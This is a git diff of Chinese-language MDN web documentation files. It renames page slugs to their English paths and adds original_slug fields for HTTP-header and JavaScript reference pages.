    diff --git a/files/zh-cn/web/http/caching/index.html b/files/zh-cn/web/http/caching/index.html index 3bf85cb945..6f44f57fc2 100644 --- a/files/zh-cn/web/http/caching/index.html +++ b/files/zh-cn/web/http/caching/index.html @@ -1,6 +1,6 @@ --- title: HTTP 缓存 -slug: Web/HTTP/Caching_FAQ +slug: Web/HTTP/Caching tags: - Cache-Control - ETag @@ -13,6 +13,7 @@ tags: - 指南 - 缓存 translation_of: Web/HTTP/Caching +original_slug: Web/HTTP/Caching_FAQ ---
    {{HTTPSidebar}}
    diff --git a/files/zh-cn/web/http/content_negotiation/list_of_default_accept_values/index.html b/files/zh-cn/web/http/content_negotiation/list_of_default_accept_values/index.html index 9db5868657..ad0ac618da 100644 --- a/files/zh-cn/web/http/content_negotiation/list_of_default_accept_values/index.html +++ b/files/zh-cn/web/http/content_negotiation/list_of_default_accept_values/index.html @@ -1,7 +1,8 @@ --- title: Accept 默认值 -slug: Web/HTTP/Content_negotiation/Accept_默认值 +slug: Web/HTTP/Content_negotiation/List_of_default_Accept_values translation_of: Web/HTTP/Content_negotiation/List_of_default_Accept_values +original_slug: Web/HTTP/Content_negotiation/Accept_默认值 ---
    {{HTTPSidebar}}
    diff --git a/files/zh-cn/web/http/cors/errors/corsmissingallowcredentials/index.html b/files/zh-cn/web/http/cors/errors/corsmissingallowcredentials/index.html index 8a8f8d0074..c66cf9a519 100644 --- a/files/zh-cn/web/http/cors/errors/corsmissingallowcredentials/index.html +++ b/files/zh-cn/web/http/cors/errors/corsmissingallowcredentials/index.html @@ -1,7 +1,8 @@ --- title: 故:在CORS头Access-Control-Allow-Credentials中预期为true -slug: Web/HTTP/CORS/Errors/CORS错误允许凭证 +slug: Web/HTTP/CORS/Errors/CORSMIssingAllowCredentials translation_of: Web/HTTP/CORS/Errors/CORSMIssingAllowCredentials +original_slug: Web/HTTP/CORS/Errors/CORS错误允许凭证 ---
    diff --git a/files/zh-cn/web/http/cors/index.html b/files/zh-cn/web/http/cors/index.html index c7acc1344d..317acf8913 100644 --- a/files/zh-cn/web/http/cors/index.html +++ b/files/zh-cn/web/http/cors/index.html @@ -1,6 +1,6 @@ --- title: 跨源资源共享(CORS) -slug: Web/HTTP/Access_control_CORS +slug: Web/HTTP/CORS tags: - AJAX - CORS @@ -12,8 +12,9 @@ tags: - Same-origin policy - Security - XMLHttpRequest - - 'l10n:priority' + - l10n:priority translation_of: Web/HTTP/CORS +original_slug: Web/HTTP/Access_control_CORS ---
    {{HTTPSidebar}}
    diff --git a/files/zh-cn/web/http/feature_policy/index.html b/files/zh-cn/web/http/feature_policy/index.html index 90e83fb04a..2bb8309404 100644 --- a/files/zh-cn/web/http/feature_policy/index.html +++ b/files/zh-cn/web/http/feature_policy/index.html @@ -1,7 +1,8 @@ --- title: Feature Policy -slug: Web/HTTP/策略特征 +slug: Web/HTTP/Feature_Policy translation_of: Web/HTTP/Feature_Policy +original_slug: Web/HTTP/策略特征 ---
    {{SeeCompatTable}}{{HTTPSidebar}}
    diff --git a/files/zh-cn/web/http/feature_policy/using_feature_policy/index.html b/files/zh-cn/web/http/feature_policy/using_feature_policy/index.html index 9a37fa46f3..3be5183728 100644 --- a/files/zh-cn/web/http/feature_policy/using_feature_policy/index.html +++ b/files/zh-cn/web/http/feature_policy/using_feature_policy/index.html @@ -1,7 +1,8 @@ --- title: Using Feature Policy -slug: Web/HTTP/策略特征/Using_Feature_Policy +slug: Web/HTTP/Feature_Policy/Using_Feature_Policy translation_of: Web/HTTP/Feature_Policy/Using_Feature_Policy +original_slug: Web/HTTP/策略特征/Using_Feature_Policy ---
    {{HTTPSidebar}} {{SeeCompatTable}}
    diff --git a/files/zh-cn/web/http/headers/strict-transport-security/index.html b/files/zh-cn/web/http/headers/strict-transport-security/index.html index d890b429ef..da1c441a5a 100644 --- a/files/zh-cn/web/http/headers/strict-transport-security/index.html +++ b/files/zh-cn/web/http/headers/strict-transport-security/index.html @@ -1,6 +1,6 @@ --- title: HTTP Strict Transport Security -slug: Web/HTTP/HTTP_Strict_Transport_Security +slug: Web/HTTP/Headers/Strict-Transport-Security tags: - HSTS - HTTP @@ -8,6 +8,7 @@ tags: - Security - header translation_of: Web/HTTP/Headers/Strict-Transport-Security +original_slug: Web/HTTP/HTTP_Strict_Transport_Security ---
     HTTP Strict Transport Security(通常简称为{{Glossary("HSTS")}})是一个安全功能,它告诉浏览器只能通过HTTPS访问当前资源,而不是HTTP
    diff --git a/files/zh-cn/web/http/headers/x-dns-prefetch-control/index.html b/files/zh-cn/web/http/headers/x-dns-prefetch-control/index.html index 313d309ccb..fa88398051 100644 --- a/files/zh-cn/web/http/headers/x-dns-prefetch-control/index.html +++ b/files/zh-cn/web/http/headers/x-dns-prefetch-control/index.html @@ -1,12 +1,13 @@ --- title: X-DNS-Prefetch-Control -slug: Controlling_DNS_prefetching +slug: Web/HTTP/Headers/X-DNS-Prefetch-Control tags: - DNS - DNS prefetch - HTTP - 预解析 translation_of: Web/HTTP/Headers/X-DNS-Prefetch-Control +original_slug: Controlling_DNS_prefetching ---

    {{HTTPSidebar}}

    diff --git a/files/zh-cn/web/http/headers/x-frame-options/index.html b/files/zh-cn/web/http/headers/x-frame-options/index.html index 2b6cfcda76..22bc56158a 100644 --- a/files/zh-cn/web/http/headers/x-frame-options/index.html +++ b/files/zh-cn/web/http/headers/x-frame-options/index.html @@ -1,12 +1,13 @@ --- title: X-Frame-Options -slug: Web/HTTP/X-Frame-Options +slug: Web/HTTP/Headers/X-Frame-Options tags: - HTTP - 响应头 - 响应头部 - 安全性 translation_of: Web/HTTP/Headers/X-Frame-Options +original_slug: Web/HTTP/X-Frame-Options ---
    {{HTTPSidebar}}
    diff --git a/files/zh-cn/web/http/proxy_servers_and_tunneling/proxy_auto-configuration_pac_file/index.html b/files/zh-cn/web/http/proxy_servers_and_tunneling/proxy_auto-configuration_pac_file/index.html index e64b1758ff..71e0356d9a 100644 --- a/files/zh-cn/web/http/proxy_servers_and_tunneling/proxy_auto-configuration_pac_file/index.html +++ b/files/zh-cn/web/http/proxy_servers_and_tunneling/proxy_auto-configuration_pac_file/index.html @@ -1,7 +1,8 @@ --- title: 代理自动配置文件(PAC)文件 -slug: Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_(PAC)_file +slug: Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_PAC_file translation_of: Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_(PAC)_file +original_slug: Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_(PAC)_file ---
    {{HTTPSidebar}}
    diff --git a/files/zh-cn/web/javascript/guide/regular_expressions/quantifiers/index.html b/files/zh-cn/web/javascript/guide/regular_expressions/quantifiers/index.html index bcc2a35e13..fa89245988 100644 --- a/files/zh-cn/web/javascript/guide/regular_expressions/quantifiers/index.html +++ b/files/zh-cn/web/javascript/guide/regular_expressions/quantifiers/index.html @@ -1,7 +1,8 @@ --- title: 量词 -slug: Web/JavaScript/Guide/Regular_Expressions/量词 +slug: Web/JavaScript/Guide/Regular_Expressions/Quantifiers translation_of: Web/JavaScript/Guide/Regular_Expressions/Quantifiers +original_slug: Web/JavaScript/Guide/Regular_Expressions/量词 ---

    {{jsSidebar("JavaScript Guide")}}

    diff --git a/files/zh-cn/web/javascript/reference/classes/public_class_fields/index.html b/files/zh-cn/web/javascript/reference/classes/public_class_fields/index.html index fb8c618a9b..22e3318c11 100644 --- a/files/zh-cn/web/javascript/reference/classes/public_class_fields/index.html +++ b/files/zh-cn/web/javascript/reference/classes/public_class_fields/index.html @@ -1,11 +1,12 @@ --- title: 类元素 -slug: Web/JavaScript/Reference/Classes/Class_elements +slug: Web/JavaScript/Reference/Classes/Public_class_fields tags: - Class - JavaScript - 类 translation_of: Web/JavaScript/Reference/Classes/Public_class_fields +original_slug: Web/JavaScript/Reference/Classes/Class_elements ---
    {{JsSidebar("Classes")}}
    diff --git a/files/zh-cn/web/javascript/reference/errors/cant_assign_to_property/index.html b/files/zh-cn/web/javascript/reference/errors/cant_assign_to_property/index.html index cceeb330c4..8997836b20 100644 --- a/files/zh-cn/web/javascript/reference/errors/cant_assign_to_property/index.html +++ b/files/zh-cn/web/javascript/reference/errors/cant_assign_to_property/index.html @@ -1,7 +1,8 @@ --- title: 'TypeError: can''t assign to property "x" on "y": not an object' -slug: Web/JavaScript/Reference/Errors/不能添加属性 +slug: Web/JavaScript/Reference/Errors/Cant_assign_to_property translation_of: Web/JavaScript/Reference/Errors/Cant_assign_to_property +original_slug: Web/JavaScript/Reference/Errors/不能添加属性 ---
    {{jsSidebar("Errors")}}
    diff --git a/files/zh-cn/web/javascript/reference/global_objects/math/acosh/index.html b/files/zh-cn/web/javascript/reference/global_objects/math/acosh/index.html index 7869661836..5e3af5a309 100644 --- a/files/zh-cn/web/javascript/reference/global_objects/math/acosh/index.html +++ b/files/zh-cn/web/javascript/reference/global_objects/math/acosh/index.html @@ -1,12 +1,13 @@ --- title: Math.acosh() -slug: Web/JavaScript/Reference/Global_Objects/Math/反双曲余弦值 +slug: Web/JavaScript/Reference/Global_Objects/Math/acosh tags: - JavaScript - 双曲函数 - 数学 - 方法 translation_of: Web/JavaScript/Reference/Global_Objects/Math/acosh +original_slug: Web/JavaScript/Reference/Global_Objects/Math/反双曲余弦值 ---
    {{JSRef}}
    diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/apply/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/apply/index.html index 62b8b67f5f..a077691b92 100644 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/apply/index.html +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/apply/index.html @@ -1,12 +1,13 @@ --- title: handler.apply() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/apply +slug: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/apply tags: - ECMAScript6 - JavaScript - Method - Proxy translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/apply +original_slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/apply ---
    {{JSRef}}
    diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/construct/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/construct/index.html index 209e9752e3..926148c90d 100644 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/construct/index.html +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/construct/index.html @@ -1,7 +1,8 @@ --- title: handler.construct() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/construct +slug: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/construct translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/construct +original_slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/construct ---
    {{JSRef}}
    diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/defineproperty/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/defineproperty/index.html index 9912e043a0..d3a25bbd1e 100644 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/defineproperty/index.html +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/defineproperty/index.html @@ -1,7 +1,8 @@ --- title: handler.defineProperty() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/defineProperty +slug: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/defineProperty translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/defineProperty +original_slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/defineProperty ---
    {{JSRef}}
    diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/deleteproperty/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/deleteproperty/index.html index 6cb4255755..22e48aee67 100644 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/deleteproperty/index.html +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/deleteproperty/index.html @@ -1,7 +1,8 @@ --- title: handler.deleteProperty() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/deleteProperty +slug: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/deleteProperty translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/deleteProperty +original_slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/deleteProperty ---
    {{JSRef}}
    diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/get/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/get/index.html index 14a350436a..d84accfa4d 100644 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/get/index.html +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/get/index.html @@ -1,12 +1,13 @@ --- title: handler.get() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/get +slug: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/get tags: - ECMAScript6 - JavaScript - Method - Proxy translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/get +original_slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/get ---
    {{JSRef}}
    diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/getownpropertydescriptor/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/getownpropertydescriptor/index.html index 470b2c6ad9..7632c26976 100644 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/getownpropertydescriptor/index.html +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/getownpropertydescriptor/index.html @@ -1,7 +1,8 @@ --- title: handler.getOwnPropertyDescriptor() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/getOwnPropertyDescriptor +slug: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/getOwnPropertyDescriptor translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/getOwnPropertyDescriptor +original_slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/getOwnPropertyDescriptor ---
    {{JSRef}}
    diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/getprototypeof/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/getprototypeof/index.html index 215d2d9646..02e38446b2 100644 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/getprototypeof/index.html +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/getprototypeof/index.html @@ -1,6 +1,6 @@ --- title: handler.getPrototypeOf() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/getPrototypeOf +slug: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/getPrototypeOf tags: - ECMAScript 2015 - JavaScript @@ -8,6 +8,7 @@ tags: - Proxy - 方法 translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/getPrototypeOf +original_slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/getPrototypeOf ---
    {{JSRef("Global_Objects", "Proxy")}}
    diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/has/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/has/index.html index fead0846ff..286d1e9d77 100644 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/has/index.html +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/has/index.html @@ -1,7 +1,8 @@ --- title: handler.has() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/has +slug: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/has translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/has +original_slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/has ---
    {{JSRef}}
    diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/isextensible/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/isextensible/index.html index 7be418197f..ec12d1dd72 100644 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/isextensible/index.html +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/isextensible/index.html @@ -1,12 +1,13 @@ --- title: handler.isExtensible() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/isExtensible +slug: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/isExtensible tags: - ECMAScript 2015 - JavaScript - Method - Proxy translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/isExtensible +original_slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/isExtensible ---
    {{JSRef}}
    handler.isExtensible() 方法用于拦截对对象的Object.isExtensible()。
    diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/ownkeys/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/ownkeys/index.html index 956b908375..921c8d9b36 100644 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/ownkeys/index.html +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/ownkeys/index.html @@ -1,7 +1,8 @@ --- title: handler.ownKeys() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/ownKeys +slug: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/ownKeys translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/ownKeys +original_slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/ownKeys ---
    {{JSRef}}
    diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/preventextensions/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/preventextensions/index.html index dd6823c9dd..51f7093d50 100644 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/preventextensions/index.html +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/preventextensions/index.html @@ -1,9 +1,10 @@ --- title: handler.preventExtensions() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/preventExtensions +slug: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/preventExtensions tags: - Proxy 代理 拦截 translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/preventExtensions +original_slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/preventExtensions ---
    {{JSRef}}
    diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/set/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/set/index.html index c66481647a..9857c06818 100644 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/set/index.html +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/set/index.html @@ -1,6 +1,6 @@ --- title: handler.set() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/set +slug: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/set tags: - ECMAScript6 - JavaScript @@ -8,6 +8,7 @@ tags: - Proxy - Proxy拦截 translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/set +original_slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/set ---
    {{JSRef}}
    diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/setprototypeof/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/setprototypeof/index.html index 9d88cd2593..48e7f6be60 100644 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/setprototypeof/index.html +++ b/files/zh-cn/web/javascript/reference/global_objects/proxy/proxy/setprototypeof/index.html @@ -1,7 +1,8 @@ --- title: handler.setPrototypeOf() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/setPrototypeOf +slug: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/setPrototypeOf translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/setPrototypeOf +original_slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/setPrototypeOf ---
    {{JSRef}}
    diff --git a/files/zh-cn/web/javascript/reference/global_objects/reflect/comparing_reflect_and_object_methods/index.html b/files/zh-cn/web/javascript/reference/global_objects/reflect/comparing_reflect_and_object_methods/index.html index 43023eae7f..e846cf7190 100644 --- a/files/zh-cn/web/javascript/reference/global_objects/reflect/comparing_reflect_and_object_methods/index.html +++ b/files/zh-cn/web/javascript/reference/global_objects/reflect/comparing_reflect_and_object_methods/index.html @@ -1,6 +1,7 @@ --- title: 比较 Reflect 和 Object 方法 -slug: Web/JavaScript/Reference/Global_Objects/Reflect/比较_Reflect_和_Object_方法 +slug: >- + Web/JavaScript/Reference/Global_Objects/Reflect/Comparing_Reflect_and_Object_methods tags: - Guide - JavaScript @@ -9,6 +10,7 @@ tags: - Reflect translation_of: >- Web/JavaScript/Reference/Global_Objects/Reflect/Comparing_Reflect_and_Object_methods +original_slug: Web/JavaScript/Reference/Global_Objects/Reflect/比较_Reflect_和_Object_方法 ---
    {{jssidebar}}
    diff --git a/files/zh-cn/web/javascript/reference/global_objects/string/trimend/index.html b/files/zh-cn/web/javascript/reference/global_objects/string/trimend/index.html index 9c8319cb29..a3422659aa 100644 --- a/files/zh-cn/web/javascript/reference/global_objects/string/trimend/index.html +++ b/files/zh-cn/web/javascript/reference/global_objects/string/trimend/index.html @@ -1,12 +1,13 @@ --- title: String.prototype.trimRight() -slug: Web/JavaScript/Reference/Global_Objects/String/TrimRight +slug: Web/JavaScript/Reference/Global_Objects/String/trimEnd tags: - JavaScript - Method - Prototype - String translation_of: Web/JavaScript/Reference/Global_Objects/String/trimEnd +original_slug: Web/JavaScript/Reference/Global_Objects/String/TrimRight ---
    {{JSRef}}
    diff --git a/files/zh-cn/web/javascript/reference/global_objects/string/trimstart/index.html b/files/zh-cn/web/javascript/reference/global_objects/string/trimstart/index.html index bc6133cecb..97a31c4277 100644 --- a/files/zh-cn/web/javascript/reference/global_objects/string/trimstart/index.html +++ b/files/zh-cn/web/javascript/reference/global_objects/string/trimstart/index.html @@ -1,6 +1,6 @@ --- title: String.prototype.trimStart() -slug: Web/JavaScript/Reference/Global_Objects/String/TrimLeft +slug: Web/JavaScript/Reference/Global_Objects/String/trimStart tags: - JavaScript - Method @@ -10,6 +10,7 @@ tags: - 字符串 - 方法 translation_of: Web/JavaScript/Reference/Global_Objects/String/trimStart +original_slug: Web/JavaScript/Reference/Global_Objects/String/TrimLeft ---
    {{JSRef}}
    diff --git a/files/zh-cn/web/javascript/reference/operators/addition/index.html b/files/zh-cn/web/javascript/reference/operators/addition/index.html index 6da432b4e6..c3726a9413 100644 --- a/files/zh-cn/web/javascript/reference/operators/addition/index.html +++ b/files/zh-cn/web/javascript/reference/operators/addition/index.html @@ -1,7 +1,8 @@ --- title: 相加运算符 (+) -slug: Web/JavaScript/Reference/Operators/相加 +slug: Web/JavaScript/Reference/Operators/Addition translation_of: Web/JavaScript/Reference/Operators/Addition +original_slug: Web/JavaScript/Reference/Operators/相加 ---
    {{jsSidebar("相加运算符")}}
    diff --git a/files/zh-cn/web/javascript/reference/operators/async_function/index.html b/files/zh-cn/web/javascript/reference/operators/async_function/index.html index eebfd13ca2..40ee1e2fea 100644 --- a/files/zh-cn/web/javascript/reference/operators/async_function/index.html +++ b/files/zh-cn/web/javascript/reference/operators/async_function/index.html @@ -1,6 +1,6 @@ --- title: async function expression -slug: Web/JavaScript/Reference/Operators/async允许声明一个函数为一个包含异步操作的函数 +slug: Web/JavaScript/Reference/Operators/async_function tags: - JavaScript - 函数 @@ -8,6 +8,7 @@ tags: - 实验性内容 - 操作符 translation_of: Web/JavaScript/Reference/Operators/async_function +original_slug: Web/JavaScript/Reference/Operators/async允许声明一个函数为一个包含异步操作的函数 ---
    {{jsSidebar("Operators")}}
    diff --git a/files/zh-cn/web/javascript/reference/operators/bitwise_and/index.html b/files/zh-cn/web/javascript/reference/operators/bitwise_and/index.html index 20eece2691..9010ddf09b 100644 --- a/files/zh-cn/web/javascript/reference/operators/bitwise_and/index.html +++ b/files/zh-cn/web/javascript/reference/operators/bitwise_and/index.html @@ -1,7 +1,8 @@ --- title: 按位与 (&) -slug: Web/JavaScript/Reference/Operators/按位与 +slug: Web/JavaScript/Reference/Operators/Bitwise_AND translation_of: Web/JavaScript/Reference/Operators/Bitwise_AND +original_slug: Web/JavaScript/Reference/Operators/按位与 ---
    {{jsSidebar("Operators")}}
    diff --git a/files/zh-cn/web/javascript/reference/operators/decrement/index.html b/files/zh-cn/web/javascript/reference/operators/decrement/index.html index f405740df3..aca67c15f9 100644 --- a/files/zh-cn/web/javascript/reference/operators/decrement/index.html +++ b/files/zh-cn/web/javascript/reference/operators/decrement/index.html @@ -1,12 +1,13 @@ --- title: 自减 (--) -slug: Web/JavaScript/Reference/Operators/自减 +slug: Web/JavaScript/Reference/Operators/Decrement tags: - JavaScript - 自减 - 语法特性 - 运算符 translation_of: Web/JavaScript/Reference/Operators/Decrement +original_slug: Web/JavaScript/Reference/Operators/自减 ---
    {{jsSidebar("Operators")}}
    diff --git a/files/zh-cn/web/javascript/reference/operators/equality/index.html b/files/zh-cn/web/javascript/reference/operators/equality/index.html index e100ec1d2d..fadd413b17 100644 --- a/files/zh-cn/web/javascript/reference/operators/equality/index.html +++ b/files/zh-cn/web/javascript/reference/operators/equality/index.html @@ -1,10 +1,11 @@ --- title: 相等(==) -slug: Web/JavaScript/Reference/Operators/相等 +slug: Web/JavaScript/Reference/Operators/Equality tags: - JavaScript - Reference translation_of: Web/JavaScript/Reference/Operators/Equality +original_slug: Web/JavaScript/Reference/Operators/相等 ---
    {{jsSidebar("Operators")}}
    diff --git a/files/zh-cn/web/javascript/reference/operators/logical_and/index.html b/files/zh-cn/web/javascript/reference/operators/logical_and/index.html index de38317f42..78c4eee070 100644 --- a/files/zh-cn/web/javascript/reference/operators/logical_and/index.html +++ b/files/zh-cn/web/javascript/reference/operators/logical_and/index.html @@ -1,7 +1,8 @@ --- title: 逻辑与(&&) -slug: Web/JavaScript/Reference/Operators/逻辑和 +slug: Web/JavaScript/Reference/Operators/Logical_AND translation_of: Web/JavaScript/Reference/Operators/Logical_AND +original_slug: Web/JavaScript/Reference/Operators/逻辑和 ---
    {{jsSidebar("Operators")}}
    diff --git a/files/zh-cn/web/javascript/reference/operators/optional_chaining/index.html b/files/zh-cn/web/javascript/reference/operators/optional_chaining/index.html index da2f04c775..6b45bc4aad 100644 --- a/files/zh-cn/web/javascript/reference/operators/optional_chaining/index.html +++ b/files/zh-cn/web/javascript/reference/operators/optional_chaining/index.html @@ -1,6 +1,6 @@ --- title: 可选链操作符 -slug: Web/JavaScript/Reference/Operators/可选链 +slug: Web/JavaScript/Reference/Operators/Optional_chaining tags: - '?.' - JavaScript @@ -12,6 +12,7 @@ tags: - 运算符 - 链式调用 translation_of: Web/JavaScript/Reference/Operators/Optional_chaining +original_slug: Web/JavaScript/Reference/Operators/可选链 ---
    {{JSSidebar("Operators")}}
    diff --git a/files/zh-cn/web/javascript/reference/operators/pipeline_operator/index.html b/files/zh-cn/web/javascript/reference/operators/pipeline_operator/index.html index 06ce40ad0b..d8087ba0e3 100644 --- a/files/zh-cn/web/javascript/reference/operators/pipeline_operator/index.html +++ b/files/zh-cn/web/javascript/reference/operators/pipeline_operator/index.html @@ -1,6 +1,6 @@ --- title: 管道操作符 -slug: Web/JavaScript/Reference/Operators/管道操作符 +slug: Web/JavaScript/Reference/Operators/Pipeline_operator tags: - Experimental - JavaScript @@ -9,6 +9,7 @@ tags: - 链式 - 链式调用 translation_of: Web/JavaScript/Reference/Operators/Pipeline_operator +original_slug: Web/JavaScript/Reference/Operators/管道操作符 ---
    {{jsSidebar("Operators")}} {{SeeCompatTable}}
    diff --git a/files/zh-cn/web/javascript/reference/operators/remainder/index.html b/files/zh-cn/web/javascript/reference/operators/remainder/index.html index 276296ccd7..f09292e4ff 100644 --- a/files/zh-cn/web/javascript/reference/operators/remainder/index.html +++ b/files/zh-cn/web/javascript/reference/operators/remainder/index.html @@ -1,12 +1,13 @@ --- title: 取余 (%) -slug: Web/JavaScript/Reference/Operators/取余 +slug: Web/JavaScript/Reference/Operators/Remainder tags: - JavaScript - Language feature - Operator - Reference translation_of: Web/JavaScript/Reference/Operators/Remainder +original_slug: Web/JavaScript/Reference/Operators/取余 ---
    {{jsSidebar("Operators")}}
    diff --git a/files/zh-cn/web/javascript/reference/template_literals/index.html b/files/zh-cn/web/javascript/reference/template_literals/index.html index aec3adfb5b..33fb6ebe53 100644 --- a/files/zh-cn/web/javascript/reference/template_literals/index.html +++ b/files/zh-cn/web/javascript/reference/template_literals/index.html @@ -1,12 +1,13 @@ --- title: 模板字符串 -slug: Web/JavaScript/Reference/template_strings +slug: Web/JavaScript/Reference/Template_literals tags: - ECMAScript6 - JavaScript - Template string - 模板字符串 translation_of: Web/JavaScript/Reference/Template_literals +original_slug: Web/JavaScript/Reference/template_strings ---
    {{JsSidebar("More")}} 
    diff --git a/files/zh-cn/web/javascript/the_performance_hazards_of_prototype_mutation/index.html b/files/zh-cn/web/javascript/the_performance_hazards_of_prototype_mutation/index.html index aacff4c8d9..d3ce1ec6e1 100644 --- a/files/zh-cn/web/javascript/the_performance_hazards_of_prototype_mutation/index.html +++ b/files/zh-cn/web/javascript/the_performance_hazards_of_prototype_mutation/index.html @@ -1,7 +1,8 @@ --- -title: 'The performance hazards of [[Prototype]] mutation' -slug: 'Web/JavaScript/The_performance_hazards_of__[[Prototype]]_mutation' -translation_of: 'Web/JavaScript/The_performance_hazards_of__[[Prototype]]_mutation' +title: The performance hazards of [[Prototype]] mutation +slug: Web/JavaScript/The_performance_hazards_of_prototype_mutation +translation_of: Web/JavaScript/The_performance_hazards_of__[[Prototype]]_mutation +original_slug: Web/JavaScript/The_performance_hazards_of__[[Prototype]]_mutation ---

    {{draft}}

